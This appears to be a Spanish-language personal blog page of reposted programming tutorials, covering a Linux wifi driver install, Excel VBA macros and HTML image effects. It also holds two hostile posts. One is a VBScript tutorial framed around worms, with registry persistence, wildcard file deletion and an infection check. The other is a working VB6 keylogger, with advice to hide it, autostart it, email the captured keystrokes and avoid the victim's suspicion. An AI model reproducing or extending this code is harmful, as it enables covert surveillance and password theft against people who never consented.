RSS

Instalar RTL8191S en Linux Mint

He estado batallando en como instalar el driver para este chip de ralink, pero no habia tenido exito en linux Mint. En Ubuntu lo reconocia pero no lograba conectarse con la red inalambrica especificada y en Mint ni siquiera lo reconocia.

Habia probado con el Ndiswrapper, en Linux Mint, pero aunque lo reconocia, no lograba conectarse con ninguna red, asi que ahi empezo el quebradero de cabeza.

Asi que descargue los drivers desde la pagina oficial del ralink, para instalarlos habia leido que tenia que hacer lo siguiente:

1. Copiar el archivo tar o zip en cualquier carpeta yo lo hice en /tmp

2. Descomprimir ese archivo

3. Luego entrar en el directorio descomprimido que por ruta a mi me dio /tmp/rtl8712_8188_8191_8192SU_usb_linux_v2.6.6.0.20110401

4. Dentro habia que observar que estuviera el archivo makefile

5. Si esta abrimos un terminal ahi en esa carpeta y escribirmos $sudo su  y nuestra clave.

Hacemos $make y luego $make install, si todo esta bien podemos conectar nuestro usb de la tarjeta wifi y deberia reconocerlo. Tambien podemos probar con un $dmesg | grep wlan y ver que reconoce nuestra tarjeta. Si no la reconoce recomendaban reiniciar el PC.

Pero como les dije a mi no me funcionaba esta solucion, despues de hacer lo mismo durante varias ocasiones busque otra solucion, hasta que encontre lo que me funciono a mi.

Repetimos con los drivers que habia bajado, que por cierto habian dos tipos el RTL8191SE_VE y el rtl8191SU yo utilice este ultimo, los pasos del 1 al 5 anteriores luego hacemos el $make y entonces buscamos el archivo de extension .ko que en mi caso se llamaba 8712u.ko  y escribimos $insmod 8712u.ko y haciendo esto me reconocio inmediatamente el RTL8191s que tantos problemas me dio y ya se conectaba con las redes que antes no lo hacia.

Bueno espero que esto le sirva a alguien mas.

Anuncios
 
1 comentario

Publicado por en 19 mayo, 2011 en Sin categoría

 

Ejecutar codigo de VB cuando se modifica una celda en Excel

Cuando queremos ejecutar una macro al cambiarse una celda de excel podemos hacer lo siguiente:
 
En la ventana d VB de Excel vamos a la hoja que queremos cambiar y añadimos el siguiente codigo:
 
Private Sub Worksheet_Change(ByVal Target As Range)
 If Union(Target, [b1]).Address = [b1].Address Then  ‘ asumiento que la celda b1 es la que cambia
 MsgBox "Hola"
 
 End If
End Sub
 
 
 
Deja un comentario

Publicado por en 7 enero, 2010 en Sin categoría

 

Trata de Tutorial visual basic script, paso a paso

 

Cita

Estuve buscando en el foro algún tutorial completo de visual basic script. Con referencia a gusanos,troyanos  o operaciones del sistema y con archivos. No he encontrado nada muy útil por eso hago este tutorial de como hacer cosas en vbs, que se puede utilizar también para vb.
La explicación es bastante simple, no creo que surga problemas.
1, entorno de compilación
Para "compilar" script podemos usar el bloc de notas del windows o el propio visual basic, aunque el mas barato es el bloc de notas .
Bloc de notas:
Se introduce como simple texto, luego se da a archivo/guardar como…, y en el diálogo de guardar le das a elegir Todos los archivos y guardas el archivo con formato loquesea.vbs
Visual basic:
Colocas el código en el evento donde quieras que se produzca.
2,objetos mas importantes:
Los objetos son rutinas especializadas de Visual Basic Script que reune un conjunto de librerias o rutinas que
simplifican la programacion en VBS. Estas rutinas tenemos que declararlas al principio de nuestros programas para
poder usar comandos que se encuentran dentro de estos objetos, la manera de darle el valor de un objeto a una
variable es la siguiente:

Set variable = CreateObject("nombreOBJ")

Set = con esto estableceremos en una sola variable a todo el objeto que utilizaremos.
variable = es una variable cualquiera que puedes cambiar por otra que mas te guste, por ejemplo: zonavirus.
nombreOBJ = es el nombre del objeto o la rutina que usaras

Los objetos mas usados son:

"Scripting.FileSystemObject" y "WScript.Shell"

si quisieras usar el objeto "Scripting.FileSystemObject" pondrias:

Set variable = CreateObject("Scripting.FileSystemObject")

recuerda definir el objeto antes de usar los comandos vbs a usar, por ejemplo, si queremos borrar un archivo, el
comando vbs es: DeleteFile, y como este funciona con el objeto Scripting.FileSystemObject, todo quedaria asi:

Set variable = CreateObject("Scripting.FileSystemObject")
variable.DeleteFile "C:\perro.txt"

Esto borrara el archivo "perro.txt" de la unidad C.
Nota: Esto puede sustituirse por una variable.
3,El Objeto Scripting.FileSystemObject
Es necesario para poder usar los siguientes comandos en un VBS, el objeto nos sirve para manipular acciones con
archivos y carpetas.

Nota: Podemos realizar acciones con los archivos definiendo una ruta o sin ella, borrar archivo, copiar carpetas etc.

Si pones ".\" el VBS realizara la accion en la carpeta actual
Si pones "C:\" el VBS realizara la accion en la ruta especificada, en este caso es la C

No es necesario definir el objeto cada vez que utilicemos un comando que lo necesite, solo si queremos cambiar
la variable que la utilizaba.

———————————————————————————————————————
Copiar archivos
———————————————————————————————————————

CopyFile

Con este comando, podemos copiar archivos en la pc.

Ejemplo:

Set variable = CreateObject("Scripting.FileSystemObject")
variable.CopyFile ".\ejemplo_Copyfile.vbs","C:\perro.txt"

Copia el archivo "ejemplo_Copyfile.vbs" como "perro.txt" en la unidad C, puedes copiar otros archivos
aparte del mismo vbs.

———————————————————————————————————————
Mover archivos
———————————————————————————————————————

MoveFile

Con este comando, podemos mover archivos de la pc.

Ejemplo:

Set variable = CreateObject("Scripting.FileSystemObject")
variable.MoveFile ".\ejemplo_MoverArchivo.vbs", "C:\ejemplo_MoverArchivo.vbs"

Esto mueve el archivo "ejemplo_MoverArchivo.vbs" a C, puedes mover otros archivos aparte del mismo vbs.

———————————————————————————————————————
Borrar archivos
———————————————————————————————————————

DeleteFile

Con este comando borramos archivos en la pc.

Ejemplo:

Set variable = CreateObject("Scripting.FileSystemObject")
variable.DeleteFile "C:\perro.txt"

Esto borrara el archivo "perro.txt" de la unidad C. Si pones *.* ¡borraria todos los archivos!, ¡cuidado!

———————————————————————————————————————
Crear una carpeta
———————————————————————————————————————

CreateFolder

Sirve para crear carpetas en el pc.

Ejemplo:

Set variable = CreateObject("Scripting.FileSystemObject")
variable.CreateFolder "C:\perro"

Esto creara la carpeta "perro" en la unidad C

———————————————————————————————————————
Borrar una carpeta
———————————————————————————————————————

DeleteFolder

Este comando sirve para borrar carpetas.

Ejemplo:

Set variable = CreateObject("Scripting.FileSystemObject")
variable.DeleteFolder "C:\perro"

Esto borrara la carpeta "perro" de la unidad C. Si pones *.* borraria todos las carpetas!

———————————————————————————————————————
Crear un archivo
———————————————————————————————————————

CreateTextFile

Sirve para crear archivos en la pc.

Set variable = CreateObject("Scripting.FileSystemObject")
variable.CreateTextFile "C:\perro.mp3"
4, El objeto El Objeto WScript.Shell
Para poder usar los siguientes comandos en un VBS, hay que definir el objeto que manipula acciones con archivos.

Con este podemos realizar acciones distintas que con el objeto anterior, como ejecutar archivos, abrir el explorador,
escribir en el registro, etc.

———————————————————————————————————————
Ejecutar y/o abrir archivos o paginas web
———————————————————————————————————————

Run

Sirve para ejecutar archivos y abrir paginas web.

Ejemplo:

On Error Resume Next
Set variable = CreateObject("WScript.Shell")
variable.Run "C:\perro.txt"

Esto ejecutara el archivo "perro.txt" si este existe en la ruta actual, Si escibes un URL este seria abierto
por el navegador de internet, pero es necesario que pongas las "www", como www.geocities.com/reydelmundo11jorge; y si
la url no comienza con "www", tienes que anteponer el "http:\\", como http:\\foro.elhacker.net

———————————————————————————————————————
Crea y/o modificar una entrada de registro de Windows
———————————————————————————————————————

RegWrite

Con este comando podemos escribir en el registro de Windows

Ejemplo:

Set zonavirus = CreateObject("WScript.Shell")
zonavirus.RegWrite "HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}
\InfoTip","Entrada modificada"

Modifica el mensaje que muestra el windows al pasar el mouse en el icono "MI PC" y le pone otro valor, en este
caso le cambia el mensaje que desplegaba, compruebalo ejecutando el vbs de ejemplo y despues pasando el mouse
sobre el icono "MI PC" y veras.

Si quieres que tu VBS sea residente lo que puedes hacer es crear una linea en el registro que servira para que el
VBS se ejecute a cada inicio de Windows, haciendose residente.

Ejemplo:

Set zonavirus = CreateObject("WScript.Shell")
zonavirus.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ejemplo",
"C:\ejemplo_residente.vbs"

Esto hara que el archivo "ejemplo_residente.vbs" se ejecute cada vez que se inicie Windows, siempre y cuando el
VBS exista en C:

———————————————————————————————————————
Borrar una entrada de registro de Windows
———————————————————————————————————————

RegDelete

Borra entradas de registro

Ejemplo:

On Error Resume Next
Set zonavirus = CreateObject("WScript.Shell")
zonavirus.RegDelete "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\
ejemplo"

Borra la entrada de registro declarada, si no existe, omite el error y no hace nada. En este caso, la clave que inicia
a nuestro ejemplo, haciendo que pierda la permanencia.

———————————————————————————————————————
Lee una entrada de registro de Windows
———————————————————————————————————————

RegRead

Sirve para verificar los valores de una entrada de registro. Por ejemplo, el VBS puede saber leyendo una entrada
de registro si se encuentra infectado la PC, y si no, proceder con la infecccion.

La entrada de registro a leer debe de estrar dentro de parentesis y comillas… bueno a mi solo me funciona asi.

Ejemplo:

On Error Resume Next
Set zonavirus = CreateObject("WScript.Shell")
X = zonavirus.regRead ("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\GEDZAC")
If X = "1" Then
MsgBox "Esta Pc esta infectada con el Worm.P2P.TorresGemelas"
Else
MsgBox "Esta Pc esta NO infectada con el Worm.P2P.TorresGemelas"
End If
5,Finalizar
Este tutorial es mas para los script, puesto que con el visual basic algunas cosas podrían no ser compatibles pero todo lo que he puesto aquí es compatible. Si la gente postea sobre este tutorial o cosas aquí metere mas información para hacerle mas completo y bonito.
Algunas de las cosas del lenguaje visual basic script se pueden sustituir en visual basic por:
Ej: para ejecutar ficheros usaría: shell "C:\fichero.extension"
para borrar ficheros en vb utilizaría: kill "C:\fichero.extension"

Tomado de http://foro.elhacker.net/programacion_vb/tutorial_visual_basic_script_paso_a_paso-t73846.0.html

 

 
Deja un comentario

Publicado por en 29 diciembre, 2009 en Sin categoría

 

Trata de correr Macro con doble click en rango de celdas

 

Para correr una macro en cuando se hace doble click en un rango de celdas, se debe poner lo siguiente:

Private Sub Worksheet_BeforeDoubleClick(ByVal target As Range, _Cancel As Boolean)

    If target.Cells.Count > 1 Then Exit Sub

    If Intersect(target, Me.Range("a1:A10")) Is Nothing Then Exit Sub

………. resto de instrucciones

end sub

 
Deja un comentario

Publicado por en 24 diciembre, 2009 en Sin categoría

 

trata de imagenes y efectos

EFECTO TIPO ESPEJO:

 

 

 

 

<DIV align=center>
<DIV style="FILTER: FlipH(); WIDTH: 100px; HEIGHT: 100px">
<IMG height=100 src="
URL DE LA IMAGEN" width=100 border=0>
</DIV></DIV>

 

Totalmente volteada

 
 

 

 

<DIV align=center>
<DIV style="FILTER: FlipV(); WIDTH: 100px; HEIGHT: 100px">
<IMG height=100 src="
URL DE LA IMAGEN" width=100 border=0>
</DIV></DIV>

BLANCO Y NEGRO

 

<DIV align=center>
<DIV style="FILTER: Xray(); WIDTH: 100px; HEIGHT: 100px">
<IMG height=100 src="
URL DE LA IMAGEN" width=100 border=0>
</DIV></DIV>

50% OPACA

  

<IMG style="FILTER: alpha(opacity=50, finishOpacity=0,style=0); WIDTH: 130px; HEIGHT: 119px" src="URL DE LA IMAGEN">

 

Negativo

 

 

 

<DIV align=center>
<DIV style="FILTER: Invert(); WIDTH: 100px; HEIGHT: 100px">
<IMG height=100 src="
URL DE LA IMAGEN" width=100 border=0>
</DIV></DIV>

Iluminada por todos lados

 

 

<IMG style="FILTER: alpha(opacity=100, finishOpacity=0,style=3); WIDTH: 130px; HEIGHT: 119px" src="URL DE LA IMAGEN">

Iluminada Circularmente

 

 

<IMG style="FILTER: alpha(opacity=100, finishOpacity=0,style=2); WIDTH: 130px; HEIGHT: 119px" src="URL DE LA IMAGEN">

Iluminada por la derecha

 


<IMG style="FILTER: alpha(opacity=100, finishOpacity=0,style=1); WIDTH: 130px; HEIGHT: 119px" src="URL DE LA IMAGEN">

Efecto veloz
 

<DIV align=center>
<DIV style="FILTER: Blur(Direction=left, Strength=25); WIDTH: 141px; HEIGHT: 100px">
<IMG height=100 src="
URL DE LA IMAGEN" width=100 align=right border=0>
</DIV></DIV>
 
Deja un comentario

Publicado por en 15 diciembre, 2009 en Sin categoría

 

Mostrando bloques con código HTML dentro de una página web

Mostrando bloques con código HTML dentro de una página web

En muchas ocasiones nos interesa mostrar un bloque de código HTML dentro de una página web, normalmente para poner un ejemplo de cómo hacer algo que estemos explicando. En está página se pueden ver varios ejemplos del resultado, pero vamos a ver paso a paso cómo conseguirlo.

En primer lugar, si escribimos las etiquetas HTML tal cual en el código de nuestra página, el navegador las interpretará como etiquetas de la propia página, con lo que las etiquetas no se verán en pantalla y no obtendremos el resultado deseado. Para solucionar esto tenemos que escapar el código. Escapar el código consiste básicamente en sustituir los caracteres ‘<‘ y ‘>’ por los códigos ‘&lt;‘ y ‘&gt;‘ (sin las comillas) respectivamente.

Aquí os dejo un pequeño script para que podáis ver vosotros mismos a qué me refiero. En la primera caja meted vuestro código y, pulsando en el botón convertir, podréis ver el resultado en la segunda caja. Lo que obtenemos en la segunda caja es lo que hay que pegar en el código de nuestra página para conseguir el resultado que queríamos.

Sin embargo, supongamos que queremos mostrar el código de la siguiente forma:

<html>
   <head>
      <title>Mi título de mi página web</title>
   </head>
   <body>
      El cuerpo de mi página web
   </body>
</html>

Pegando el código que habíamos obtenido tal cual en nuestra página, no se conservará el formateo que le hayamos dado en nuestro código, por ello colocaremos ese código entre etiquetas <pre>. La etiqueta <pre> sirve para mostrar texto preformateado, es decir, para el texto introducido entre etiquetas <pre> se tendrán en cuenta espacios y saltos de línea a la hora de ser mostrados en el navegador.

Ahora sólo falta aplicarle el estilo que nos guste a la etiqueta <pre>. A mi me gusta de la siguiente forma.

pre {
  border:1px solid #A2A2A2;
  background-color:#F1F1F1;
  padding:8px;
  margin:5px;
  color:#0150c7;
  overflow:auto
}

Sólo un apunte sobre esto último, el "overflow:auto" que véis indica que si alguna de las líneas de nuestro código no entra en el ancho que le hemos dado al bloque, le añadirá una barra de desplazamiento horizontal. Si no lo ponemos, las líneas se partirán en dos o más cuando no entren en una sóla.

Por último, lo mejor es incluir el bloque anterior en una hoja de estilos CSS y así todos los bloques pre de nuestra web tendrán la misma apariencia, pero ese es otro tema…

Tomado de: http://www.locualo.net/programacion/mostrando-bloques-codigo-html-dentro-pagina-web/00000001.aspx

 
Deja un comentario

Publicado por en 17 septiembre, 2009 en Sin categoría

 

Trata de Hackerss.com > como crear un keylogger??

http://www.canadiancontent.net/tech/downlo…Keyloggers.html

http://foros.hackerss.com/lofiversion/index.php/t726.html

Vamos a ver que es necesario para la creación de un Keylogger, o sea la captura del teclado, luego uds. podrán agregarle las funciones que crean necesarias

Para los que no lo sepan un Keylogger es un programa que actúa oculto en un sistema, creando un registro (log) de las teclas (keys) que se pulsan en el teclado
De esta forma se puede saber que hace el usuario, aparte de ver todos los textos que haya creado, se guardarán passwords, direcciones web, etc

Crea un nuevo proyecto con un Modulo y un Form.
El Form deberá contener un botón (Command1), un Timer con Interval=10 (Timer1) y un Text con Multiline (Text1).

En el modulo insertaremos una llamada a una API y la función que la utiliza:
Option Explicit
‘API para verificar las teclas
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
‘variables
Global Cnt As Long
Global sSave As String
Global sOld As String
Global Ret As String

Function GetPressedKey() As String
‘Recorre los caracteres imprimibles
For Cnt = 32 To 128
‘Detecta el estado de la tecla
‘si es distinto de 0 es que esta presionada
‘así que la retorna como resultado
‘de la llamada a la funcion
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr$(Cnt)
Exit For
End If
Next Cnt
End Function

Luego en el Form insertamos lo siguiente:
Option Explicit

Private Sub Command1_Click()
‘Muestra en el texto el contenido de sSave
Text1 = sSave
‘Pone sSave listo para seguir
sSave = ""
End Sub

Private Sub Timer1_Timer()
‘Llama a GetPressedKey y lo guarda en Ret
Ret = GetPressedKey
‘Si Ret y sOld son distintos
‘guarda Ret en sOld
‘y lo concatena con sSave
If Ret <> sOld Then
sOld = Ret
sSave = sSave + sOld
End If
End Sub

El código está comentado y es muy simple así que solo haré una aclaración:
Se hace la comprobación "If Ret <> sOld Then" porque si, por ej. escribimos "papa", nos aparecerá "pppaaaaaaaaapppppppaaaaaaa"

El funcionamiento es simple, ejecuta el programa, luego abre algún procesador de texto y escribe algo, retorna el foco al Keylogger y pulsa el botón para ver el texto, que habías escrito, aparecer en el Text1.

Por supuesto esta es la primera parte del Keylogger, deberás agregarle las funciones necesarias para que se ejecute automáticamente al inicio, permanezca oculto y guarde las teclas en un archivo.

Al guardar las teclas en el archivo deverás vaciar la variable sSave, para que no genere un desbordamiento al crecer demasiado
La función podrías meterla en un Timer con un intervalo mas o menos grande

Para la ejecución automática agregar el programa en "LocalMachine\ Software\ Microsoft\ Windows\ CurrentVersion\ Run" en el registro de Windows.

Esta utilidad es realmente interesante y puedes hacerla tan compleja (o simple) como tu quieras, incluso puedes hacer que detecte cuando el usuario se ha conectado a internet y el programa envié automáticamente un mail a tu casilla con el texto de log (de forma que el archivo no crezca demasiado ).

Siempre recuerda que el código debe ser lo mas rápido posible, ya que al permanecer siempre en ejecución, consumiría demasiada memoria y el usuario podría sospechar que algo raro sucede en su PC.

 

 
Deja un comentario

Publicado por en 1 septiembre, 2009 en Sin categoría